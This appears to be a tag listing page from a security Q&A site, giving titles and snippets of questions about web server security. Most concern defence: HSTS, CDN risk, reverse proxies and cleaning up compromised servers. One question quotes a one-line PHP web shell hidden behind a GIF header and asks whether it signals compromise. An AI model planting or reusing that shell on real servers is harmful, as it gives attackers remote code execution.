A system whose primary function is to deliver web pages on request to clients.

learn more… | top users | synonyms

12
votes
5answers
16k views

Benefits of identifying clients based upon the “X-Forwarded-For” or similar HTTP header in addition to Client IP

The X-Forwarded-For header is used by some HTTP proxies to identify the IP address of the client. The wiki page (linked above) mentions that ISPs may use this header as well. In addition there are a ...
11
votes
5answers
2k views

Hashcash, is this really used?

I just heard about this term, is it really used? The concept does not seem new, is it used and/or implemented in current technologies?
4
votes
2answers
1k views

Code Injection detection on Web Servers

Recently I found one of my web servers hacked with malicious code injected to websites hosted there. It wasn't exactly my fault, as I shared the server with other people and someone put some unsafe ...
6
votes
2answers
2k views

How does IP tracking work?

Excuse the naive question (I'm more of a dev than a web-sec person) In the past I've had webservers hacked and usually i've traced it to some random machines which seem to have been compromised (i ...
6
votes
4answers
3k views

How to identify the HTTP methods supported by a web server?

How can I identify the different HTTP methods supported by a web server, like OPTIONS, TRACE, etc.? I have tried the nc command on Linux. But it doesn't work. It doesn't show me the HTTP methods ...
5
votes
2answers
287 views

Configuring election website to prevent MITM attacks

Consider an election web site that will be used for voting over the Internet. What steps should the administrator of such a web site take to provide adequate security against man-in-the-middle attacks ...
4
votes
2answers
2k views

How helpful is rkhunter?

I have a software firewall implemented on my server, and I have closed all unnecessary ports. I have strong passwords, and I validate user input on my website. With these things already in place, do ...
2
votes
1answer
3k views

How can log poisoning be successful with a Local File Inclusion attack?

I just read a paper about Local File Inclusion on exploit-db.com, it can be found here. One technique with LFI is log poisoning as you may know already. You do an HTTP GET request that contains PHP ...
10
votes
2answers
2k views

CloudFlare benefits or drawbacks

Anyone running a webserver would agree, security can be a hustle and tedious job. Recently I came across a service claiming to help with that -- CloudFlare.com. There's plenty of benefits listed on ...
9
votes
3answers
813 views

Does hiding version numbers increase my security? [duplicate]

I’m currently trying to improve the security at our work. This sounds very broad, but, for example, I’m penetrating our systems and checking whether servers are vulnerable to certain exploits. As an ...
8
votes
2answers
407 views

Can other customers on shared hosting see requests from/to my site?

I installed a wiki on my shared webhosting (using Apache) account. This wiki is set to private (no read/edit/create rights for unauthorized users) and I'm the only one with an account. The wiki ...
8
votes
1answer
9k views

Server attack attempts, what are they trying to achieve?

Recently, I have got a few 404 errors where the user has requested PHP pages. The URLs are range around the cgi-bin and php versions, eg, /cgi-bin/php4. There is also some query string as part of ...
6
votes
3answers
3k views

What's involved in taking over someone else's domain name?

I'm asking this for purely academic reasons. I know that there are domain record lists and whatnot, but I'm trying to understand the exact structure of how DNS works and where someone can potentially ...
5
votes
3answers
383 views

Can I make my online server more secure using Docker?

I had my online web server ransacked, they got in through my hosted WordPress site and privilege escalated from there. I am wondering, if I put the WordPress in a Docker, would that go a decent way ...
4
votes
3answers
2k views

Reverse Proxy Secure Configuration

I have a Forefront TMG 2010 acting as a reverse proxy: I can force HTTP*S* between internet clients and TMG. I can force HTTP*S* between TMG and my web servers. From a security point of view, it ...
3
votes
4answers
4k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
2
votes
2answers
5k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
1
vote
1answer
549 views

Data Retention Laws for ISPs in North America

I was reading an article on TorrentFreak where Private Internet Access claims the United States "is one of the only countries without a mandatory data retention law." According to the linked article ...
1
vote
1answer
566 views

What is LFI vulnerability

LFI: Local file inclusion. After going through many tutorials I have two things I can/t figure out: checking the vulnerability: I don't understand what makes a website vulnerable or not. For ...
19
votes
3answers
4k views

What are the risks of using a CDN to speed up my website? How do I avoid them?

Content Delivery Networks (CDNs) are well known to speed up the performance of a website, but they create the obvious security risks if someone were to change the code that resides on the CDN. What ...
14
votes
4answers
990 views

If a website allows another person to get a list of the site's users passwords, how likely is it that the passwords are stored in cleartext?

We had an incident where some of our managers were given passwords for the people they supervise using a particular company website. Ostensibly it was done so the managers could check in on the users ...
9
votes
2answers
129 views

Are there any sequences other than ../ which will be intepreted as directory traversal in *nix or Windows?

A common vulnerability is for web applications to accept a filesystem path as a request parameter, and then perform some action on the specified path. For example, retrieving a file and returning it ...
8
votes
5answers
944 views

Can I improve website security by storing SSL Keys in DNS? Is DNSSec required? Are threat models available?

In light of recent attacks on SSL/TLS communication, people have been asking about ways to improve the security of SSL webserver communication. Several great solutions have been mentioned in the ...
7
votes
3answers
570 views

Popularity of Anomaly based IDSes

I've been reading quite some time about anomaly/behavior based IDSes for Web servers. I understand the downsides: possible high false positives, learning phase, constant training. My question is how ...
6
votes
3answers
772 views

HSTS on sites available over HTTP and HTTPS

I'm wondering if it makes sense to enable HSTS on a site that is served over HTTPS as well as over HTTP. What I mean is to add HSTS-Header if the site is accessed over HTTPS. But there is no ...
5
votes
1answer
69 views

Regenerating dhparam periodically

Does it increase connection security if I regenerate the dhparam files used with NGINX on our servers periodically e.g. every week? What issues may arise from this? Is there any benefit in doing ...
4
votes
1answer
943 views

VPS Safety in the Cloud

Imagine you are running a web server on a Virtual Private Server (VPS) hosted in a datacenter. Could the people running the datacenter covertly read files from my VPS's hard disk? Could an attacker ...
3
votes
4answers
2k views

Spider Attack from several search engines at once

Hello my server is getting hit by spiders from bingbot, google, yahoo, yandex, and some place in the UK all at the same time crashing it. While I have no reason to think any one person did this, it ...
3
votes
1answer
653 views

Mitigation Strategies for Response Spliting Attack

I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET HTTP ...
2
votes
3answers
2k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
1answer
509 views

What security does nginx provide between server blocks?

What security does nginx provide between server blocks? Here is an example scenario. Say I have two server blocks configured with nginx. Each serves up a web application to authenticated users. I am ...
1
vote
1answer
6k views

WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...
1
vote
1answer
382 views

How does a browser choose which certificate to use if my web server has multiple certificates?

I'm using Apache 2.4, with two certificates, one RSA signed by CACert, and one ECC self-signed. Neither of these certificates provide a path to a broswer-trusted root certificate. My question is ...
1
vote
1answer
350 views

Is opportunistic encryption support optional for HTTP/2?

I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2. According to the bug report, it looks like it's kinda optional, and an afterthought: https://...
0
votes
2answers
120 views

What website accepts only TLS 1.2 so I can verify client capability?

Is there a publicly accessible website which will only accept TLS 1.2 connections so that I can test to see if my application can successfully, securely connect to it? Background: I have an old VB....
0
votes
4answers
2k views

Prevent Users from Downloading Javascript, Images

A lot of times I see that resource XXXXX.gif or XXXXX.js can't be saved when I try to save a webpage in Firefox. So this made me think, can I implement a similar thing for my website as well? ...
-8
votes
2answers
800 views

PHP injection on 777 file [closed]

Some one has modified a PHP file, which had permissions set to 777, on my VPS server. How can someone do that without administrative access to the server? What information I can give you? I know ...